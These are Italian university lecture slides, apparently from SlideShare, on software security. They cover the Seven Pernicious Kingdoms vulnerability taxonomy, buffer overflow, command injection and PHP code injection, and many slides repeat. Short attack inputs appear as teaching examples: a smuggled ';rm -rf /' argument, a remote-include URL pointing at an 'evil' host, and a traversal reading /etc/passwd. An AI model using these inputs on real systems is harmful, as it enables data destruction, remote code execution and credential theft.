Software Security

594 views
500 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
594
On SlideShare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
13
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Software Security

  1. 1. Outline Introduzione al corso Sicurezza delle Applicazioni Input Validation and RepresentationSicurezza delle reti e delle Applicazioni Docente: Prof. L. V. Mancini September 27, 2008 Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  2. 2. Outline Introduzione al corso Sicurezza delle Applicazioni Input Validation and RepresentationOutlineIntroduzione al corso Docenti Dispense Modalit` di esame aSicurezza delle Applicazioni Classificazioni delle Vulnerabilit` delle Applicazioni a Classificazione adottata: Seven Pernicious Kingdoms Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation * EnvironmentInput Validation and Representation Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  3. 3. Outline Docenti Introduzione al corso Dispense Sicurezza delle Applicazioni Modalit` di esame a Input Validation and RepresentationDocenti del corso Prof. Luigi V. Mancini Dipartimento di Informatica Dott. E. Gabrielli Dip. Informatica (Supporto didattico per esercitazioni) Dott. R. Battistoni Dipartimento di Informatica (Supporto didattico per esercitazioni) Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  4. 4. Outline Docenti Introduzione al corso Dispense Sicurezza delle Applicazioni Modalit` di esame a Input Validation and RepresentationDocenti del corso Prof. Luigi V. Mancini Dipartimento di Informatica Dott. E. Gabrielli Dip. Informatica (Supporto didattico per esercitazioni) Dott. R. Battistoni Dipartimento di Informatica (Supporto didattico per esercitazioni) Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  5. 5. Outline Docenti Introduzione al corso Dispense Sicurezza delle Applicazioni Modalit` di esame a Input Validation and RepresentationDocenti del corso Prof. Luigi V. Mancini Dipartimento di Informatica Dott. E. Gabrielli Dip. Informatica (Supporto didattico per esercitazioni) Dott. R. Battistoni Dipartimento di Informatica (Supporto didattico per esercitazioni) Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  6. 6. Outline Docenti Introduzione al corso Dispense Sicurezza delle Applicazioni Modalit` di esame a Input Validation and RepresentationDispense Tutte le informazioni del corso, incluse le dispense, possono essere scaricate (file zip con password: *****) alla homepage del corso 1 . ` E inoltre disponibile una mailing-list (security@di.uniroma1.it), a cui gli studenti sono VIVAMENTE PREGATI di iscriversi. Nella mailing-list si discute di contenuti del corso, modalit` di esame e a comunicazioni del caso. 1 http://www.dsi.uniroma1.it/Sicurezza/ Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  7. 7. Outline Docenti Introduzione al corso Dispense Sicurezza delle Applicazioni Modalit` di esame a Input Validation and RepresentationModalit` di esame a Ogni studente dovr` consegnare un progetto, da solo o in gruppo a di max 3 studenti, e sostenere una prova orale. Il progetto verr` a assegnato entro il 15 Ottobre e dovr` essere consegnato entro fine a Febbraio. La prova orale ` su appuntamento. e Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  8. 8. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationClassificazioni Note Classificazioni note: Common Weakness Enumeration (CWE ) project 2 OWASP Honeycomb project 3 Seven Pernicious Kingdoms 4 2 http://ccve.mitre.org/cwe/ 3 http://www.owasp.prg/index.php/Category:OWASP Honeycomb Project 4 Tsipenyuk, Chess, McGrwar, 2005 Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  9. 9. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationClassificazioni Note Classificazioni note: Common Weakness Enumeration (CWE ) project 2 OWASP Honeycomb project 3 Seven Pernicious Kingdoms 4 2 http://ccve.mitre.org/cwe/ 3 http://www.owasp.prg/index.php/Category:OWASP Honeycomb Project 4 Tsipenyuk, Chess, McGrwar, 2005 Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  10. 10. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationClassificazioni Note Classificazioni note: Common Weakness Enumeration (CWE ) project 2 OWASP Honeycomb project 3 Seven Pernicious Kingdoms 4 2 http://ccve.mitre.org/cwe/ 3 http://www.owasp.prg/index.php/Category:OWASP Honeycomb Project 4 Tsipenyuk, Chess, McGrwar, 2005 Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  11. 11. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSeven Pernicious Kingdoms (SPK) In questo corso adottiamo la classificazione Seven Pernicious Kingdoms in quanto offre ai programmatori gli strumenti per conoscere i tipi di errori di coding che comportano problemi di sicurezza alle applicazioni. L’obiettivo ultimo di questa parte di corso ` di permettere al programmatore di conoscere gli aspetti di e sicurezza derivanti da errori di codifica software, in modo tale che possa effettuare un’analisi statica del codice per l’individuazione di potenziali bug di sicurezza. Parte del corso sar` dedicata all’analisi a statica del codice. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  12. 12. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationFortify Source Code Analysis Adotteremo il software SCA Fortify per eseguire dei test su alcuni esempi di codice. SCA Fortify consente la gestione del processo di review del codice e supporta diverse classificazioni di errori. ` E ampiamente diffuso 5 . 5 http://www.fortify.com/customer-success/case-studies/ Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  13. 13. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSPK: lista delle categorie di Vulnerabilit` a Le categorie, in ordine di importanza, previste da SPK sono: Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation (*) Environment Una descrizione dettagliata ` fornita in e 6 6 http://vulncat.fortify.com Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  14. 14. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSPK: lista delle categorie di Vulnerabilit` a Le categorie, in ordine di importanza, previste da SPK sono: Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation (*) Environment Una descrizione dettagliata ` fornita in e 6 6 http://vulncat.fortify.com Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  15. 15. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSPK: lista delle categorie di Vulnerabilit` a Le categorie, in ordine di importanza, previste da SPK sono: Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation (*) Environment Una descrizione dettagliata ` fornita in e 6 6 http://vulncat.fortify.com Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  16. 16. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSPK: lista delle categorie di Vulnerabilit` a Le categorie, in ordine di importanza, previste da SPK sono: Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation (*) Environment Una descrizione dettagliata ` fornita in e 6 6 http://vulncat.fortify.com Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  17. 17. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSPK: lista delle categorie di Vulnerabilit` a Le categorie, in ordine di importanza, previste da SPK sono: Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation (*) Environment Una descrizione dettagliata ` fornita in e 6 6 http://vulncat.fortify.com Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  18. 18. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSPK: lista delle categorie di Vulnerabilit` a Le categorie, in ordine di importanza, previste da SPK sono: Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation (*) Environment Una descrizione dettagliata ` fornita in e 6 6 http://vulncat.fortify.com Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  19. 19. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSPK: lista delle categorie di Vulnerabilit` a Le categorie, in ordine di importanza, previste da SPK sono: Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation (*) Environment Una descrizione dettagliata ` fornita in e 6 6 http://vulncat.fortify.com Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  20. 20. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSPK: lista delle categorie di Vulnerabilit` a Le categorie, in ordine di importanza, previste da SPK sono: Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation (*) Environment Una descrizione dettagliata ` fornita in e 6 6 http://vulncat.fortify.com Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  21. 21. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationInput Validation and Representation ` E il tipo di vulnerabilit` pi` diffuso e pericoloso delle applicazioni a u odierne, specialmente per le applicazioni web (via HTTP). Si verifica quando gli input non sono conformi (per lunghezza, presenza di metacaretteri e codifica numerica) ai valori che l’applicazione si aspetta e se vengono utilizzati senza gli opportuni controlli (Input Validation). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  22. 22. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationAPI Abuse ` E un errore dovuto al mancato rispetto, da una delle due parti (chi invoca l’API o chi la fornisce), di una API (Application Programming Interface), oppure quando viene utilizzata in maniera impropria. Esempi sono: una funzione random che NON fornisce numeri casuali, o l’uso di una funzione di cancellazione file per la rimozione dei dati in esso contenuti. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  23. 23. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationSecurity Features ` E un tipo di vulnerabilit` che ` causata dalla maldestra a e implementazione di una security feature. Un esempio classico di questo tipo di problema ` l’uso di password hardcoded, oppure e della mancata cancellazione, dopo il suo uso, di una variabile contentente una password. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  24. 24. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationTime and State Causato da effetti indesiderati di concorrenza (time) e condivisione di informazione (state). Accade quando si verifica una interazione (accesso concorrente a shared memory, semafori, files, etc..) inaspettata tra thread, processi, tempi e dati. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  25. 25. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationError Handling ` E un tipo di vulnerabilit` che pu` presentarsi in due modalit`: a o a gestione errata o assente degli errori di una API, diffusione di informazioni causato dalla eccessiva attivit` di logging o di a messaggi causata da errori. Un esempio ` il messaggio del e fallimento di connessione al db che molti applicativi web forniscono in caso di collegamento allito. Spesso questi messaggi riportano dettagli (username, hostname password) che espongoo l’applicazione a problemi di sicurezza. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  26. 26. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationCode Quality Codice di qualit` scadente pu` consentire ad un attaccante di a o forzare l’applicazione ad eseguire operazioni ”imprevediste”. Ci` o pu` accadere ad esempio per: o Memory Leak: L’uso della memoria cresce a causa del mancato rilascio (free) dopo l’uso. Obsolete: L’uso di funzionalit` obsolete. a Use After Free: L’uso di una zona di memoria dopo il suo rilascio (free). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  27. 27. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationCode Quality Codice di qualit` scadente pu` consentire ad un attaccante di a o forzare l’applicazione ad eseguire operazioni ”imprevediste”. Ci` o pu` accadere ad esempio per: o Memory Leak: L’uso della memoria cresce a causa del mancato rilascio (free) dopo l’uso. Obsolete: L’uso di funzionalit` obsolete. a Use After Free: L’uso di una zona di memoria dopo il suo rilascio (free). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  28. 28. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationCode Quality Codice di qualit` scadente pu` consentire ad un attaccante di a o forzare l’applicazione ad eseguire operazioni ”imprevediste”. Ci` o pu` accadere ad esempio per: o Memory Leak: L’uso della memoria cresce a causa del mancato rilascio (free) dopo l’uso. Obsolete: L’uso di funzionalit` obsolete. a Use After Free: L’uso di una zona di memoria dopo il suo rilascio (free). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  29. 29. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationEncapsulation La mancanza di ”confini” affidabili tra applicazioni, oggetti delle applicazioni, dati utente, potrebbe consentire la violazione di dati tra gli stessi. Esempi tipici di questi casi sono: Data Leaking Between Users: Dati di una sessione utente possono ”sconfinare” in sessioni di altri utenti a causa di una errata gestione di singletons o pools di oggetti condivisi. System Information Leak: Rivelare dettagli del sistema o informazioni di debug pu` consentire ad un avversario di o creare un piano di attacco. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  30. 30. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and RepresentationEncapsulation La mancanza di ”confini” affidabili tra applicazioni, oggetti delle applicazioni, dati utente, potrebbe consentire la violazione di dati tra gli stessi. Esempi tipici di questi casi sono: Data Leaking Between Users: Dati di una sessione utente possono ”sconfinare” in sessioni di altri utenti a causa di una errata gestione di singletons o pools di oggetti condivisi. System Information Leak: Rivelare dettagli del sistema o informazioni di debug pu` consentire ad un avversario di o creare un piano di attacco. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  31. 31. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and Representation* Environment Include tutti gli aspetti di ambiente (environmnet) che non dipendono dal codice sorgente. Si tratta di aspetti che hanno a che fare con la configurazione di vari software e/o del sistema Operativo in cui il software ` eseguito. Esempi di errori di questo e tipo sono: Insecure Transport: Utilizzare sessioni SSL (es: https), ma permettere anche accesso in chiaro (http) pu` vanificare i o vantaggi tratti dall’uso del protocollo SSL. Insufficiente Session-ID Lenght: Utilizzare una lunghezza di session-id troppo corta pu` consentire una facile ”violazione” o dei session IDs. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  32. 32. Outline Introduzione al corso Classificazioni delle Vulnerabilit` delle Applicazioni a Sicurezza delle Applicazioni Classificazione adottata: Seven Pernicious Kingdoms Input Validation and Representation* Environment Include tutti gli aspetti di ambiente (environmnet) che non dipendono dal codice sorgente. Si tratta di aspetti che hanno a che fare con la configurazione di vari software e/o del sistema Operativo in cui il software ` eseguito. Esempi di errori di questo e tipo sono: Insecure Transport: Utilizzare sessioni SSL (es: https), ma permettere anche accesso in chiaro (http) pu` vanificare i o vantaggi tratti dall’uso del protocollo SSL. Insufficiente Session-ID Lenght: Utilizzare una lunghezza di session-id troppo corta pu` consentire una facile ”violazione” o dei session IDs. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  33. 33. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionInput Validation and Representation Questo tipo di vulnerabilit` si pu` manifestare nelle seguenti forme: a o Buffer Overflow Command injection Cross-Site Scripting Format String Problem Integer Range Errors SQL Injection Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  34. 34. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionInput Validation and Representation Questo tipo di vulnerabilit` si pu` manifestare nelle seguenti forme: a o Buffer Overflow Command injection Cross-Site Scripting Format String Problem Integer Range Errors SQL Injection Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  35. 35. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionInput Validation and Representation Questo tipo di vulnerabilit` si pu` manifestare nelle seguenti forme: a o Buffer Overflow Command injection Cross-Site Scripting Format String Problem Integer Range Errors SQL Injection Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  36. 36. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionInput Validation and Representation Questo tipo di vulnerabilit` si pu` manifestare nelle seguenti forme: a o Buffer Overflow Command injection Cross-Site Scripting Format String Problem Integer Range Errors SQL Injection Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  37. 37. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionInput Validation and Representation Questo tipo di vulnerabilit` si pu` manifestare nelle seguenti forme: a o Buffer Overflow Command injection Cross-Site Scripting Format String Problem Integer Range Errors SQL Injection Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  38. 38. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionInput Validation and Representation Questo tipo di vulnerabilit` si pu` manifestare nelle seguenti forme: a o Buffer Overflow Command injection Cross-Site Scripting Format String Problem Integer Range Errors SQL Injection Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  39. 39. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionBuffer Overflow Il Buffer Overflow si verifica quando una applicazione scrive i dati in un buffer oltrepassandone i limiti. Gli effetti di una simile vulnerabilit` possono essere molteplici (es: core dump, modifica di a dati contigui al buffer, esecuzione di codice), in funzione della ` specifica applicazione. E una vulnerabilit` tipica di applicazini a C/C++ ed ` generalmente dovuta ad una non accurata e manipolazione di stringhe. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  40. 40. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionUn esempio di Vulnerabilit` al Buffer Overflow a void leggiNome(void) { long contatore = 0; char nome[16]; gets(nome); } Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  41. 41. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCommand Injection Se l’applicazione acquisisce come input dei comandi da eseguire, o dei parametri che possono influenzare i programmi che esegue, questo la espone a vulnerabilit` di tipo Command Injection. a Pu` quindi verificarsi in due forme: o Provoca l’esecuzione di un eseguibile diverso da quello che l’applicazione dovrebbe eseguire. Modifica l’ambiente in cui un eseguibile viene invocato, modificandone il comportamento. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  42. 42. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCommand Injection Se l’applicazione acquisisce come input dei comandi da eseguire, o dei parametri che possono influenzare i programmi che esegue, questo la espone a vulnerabilit` di tipo Command Injection. a Pu` quindi verificarsi in due forme: o Provoca l’esecuzione di un eseguibile diverso da quello che l’applicazione dovrebbe eseguire. Modifica l’ambiente in cui un eseguibile viene invocato, modificandone il comportamento. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  43. 43. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCommand Injection: modifica dell’eseguibile L’utente pu` sottoporre degli input in modo tale da far eseguire o all’applicazione dei comandi pericolosi o per eseguire pi` di un u comando. Un esempio tipico di questa tipo di vulnerabilit` ` l’uso ae non controllato del file .forward nei sistemi di posta elettronica (es: postfix e sendmail). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  44. 44. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCommand Injection: modifica dell’eseguibile: funzionipericolose Php e Perl: eval() eval(), system(), “ (backticks) Java: System.Runtime.exec C/C++: system(), exec**() Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  45. 45. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCommand Injection: modifica dell’eseguibile: funzionipericolose Php e Perl: eval() eval(), system(), “ (backticks) Java: System.Runtime.exec C/C++: system(), exec**() Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  46. 46. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCommand Injection: modifica dell’eseguibile: funzionipericolose Php e Perl: eval() eval(), system(), “ (backticks) Java: System.Runtime.exec C/C++: system(), exec**() Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  47. 47. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempi di vulnerabilit` di tipo Command Injection a catWrapper: modifica dell’eseguibile startCMD: modifica var. ambiente e quindi comportamento eseguibile PhpWeb: upload di codice e successiva esecuzione Esempi da http://www.owasp.org/index.php/Command Injection e http://en.wikipedia.org/wiki/Code injection. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  48. 48. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempi di vulnerabilit` di tipo Command Injection a catWrapper: modifica dell’eseguibile startCMD: modifica var. ambiente e quindi comportamento eseguibile PhpWeb: upload di codice e successiva esecuzione Esempi da http://www.owasp.org/index.php/Command Injection e http://en.wikipedia.org/wiki/Code injection. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  49. 49. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempi di vulnerabilit` di tipo Command Injection a catWrapper: modifica dell’eseguibile startCMD: modifica var. ambiente e quindi comportamento eseguibile PhpWeb: upload di codice e successiva esecuzione Esempi da http://www.owasp.org/index.php/Command Injection e http://en.wikipedia.org/wiki/Code injection. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  50. 50. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempio di Command Injection: catWrapper 1/3 #include <stdio.h> #include <unistd.h> int main(int argc, char **argv) { char cat[] = "cat "; char *command; size_t commandLength; commandLength = strlen(cat) + strlen(argv[1]) + 1; command = (char *) malloc(commandLength); strncpy(command, cat, commandLength); strncat(command, argv[1], (commandLength - strlen(cat)) ); ... } Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  51. 51. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempio di Command Injection: catWrapper 2/3 ... system(command); return (0); } ` E pensato dal programmatore per essere invocato con un comando del tipo: #catWrapper miofile.txt Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  52. 52. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempio di Command Injection: catWrapper 3/3 Ma se catWrapper fosse invocato con la seguente sintassi: #catWrapper "miofile.txt; ls" produrrebbe, oltre al cat di miofile.txt che ci aspettiamo, anche i risultati di ls. E se si fosse utilizzato un comando pi` pericoloso (es: ";rm -rf u /") di ls ? Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  53. 53. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempio di Command Injection: startCMD 1/2 ... char* home=getenv("APPHOME"); char* cmd=(char*)malloc(strlen(home)+strlen(INITCMD)); if (cmd) { strcpy(cmd,home); strcat(cmd,INITCMD); execl(cmd, NULL); } ... Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  54. 54. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempio di Command Injection: startCMD 2/2 Se l’utente invocasse tale binario modificando prima la variabile di ambiente $APPHOME ? Con un comando del tipo: #set APPHOME=/tmp/maliciousbinaries/; ./startCMD ... Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  55. 55. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCode Injection: PhpWeb 1/4 <?php $color = ’blue’; if (__isset( $_GET[’COLOR’] ) ) $color = $_GET[’COLOR’]; require( $color . ’.php’ ); ?> Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  56. 56. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCode Injection: PhpWeb 2/4 Mentre la pagina che invoca (nelle intenzioni del programmatore) questa URL `: e <form method="get"> <select name="COLOR"> <option value="red">red</option> <option value="blue">blue</option> </select> <input type="submit"> </form> Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  57. 57. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCode Injection: PhpWeb 3/4 Nell’intenzione del programmatore c’e’ quindi la selezione di una delle due pagine, red.php o blue.php. Tuttavia, un attaccante potrebbe forgiare la richiesta, mettendo in URL parametri maliziosi come di seguito descritto: Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  58. 58. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCode Injection: PhpWeb 4/4 /vulnerable.php?COLOR=http://evil/exploit? Inietta il codice che gli si vuole far eseguire. /vulnerable.php?COLOR=C:ftpuploadexploit Esegue il codice caricato con comando precedente. /vulnerable.php?COLOR=../../../../../../../../etc/passwd%0 Legge file delle password. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  59. 59. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempi di Attacchi http://en.wikipedia.org/wiki/Code injection http://www.owasp.org/index.php/Command Injection Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  60. 60. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCross-Site Scripting (XSS) Gli attacchi di tipo XSS avvengono quando si verificano queste due condizioni: L’applicazione web acquisisce dati da una fonte non fidata (es: HTTP request o dati da database) I dati introdotti al passo precedente vengono spediti ad altri utenti (destinatari dell’attacco). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
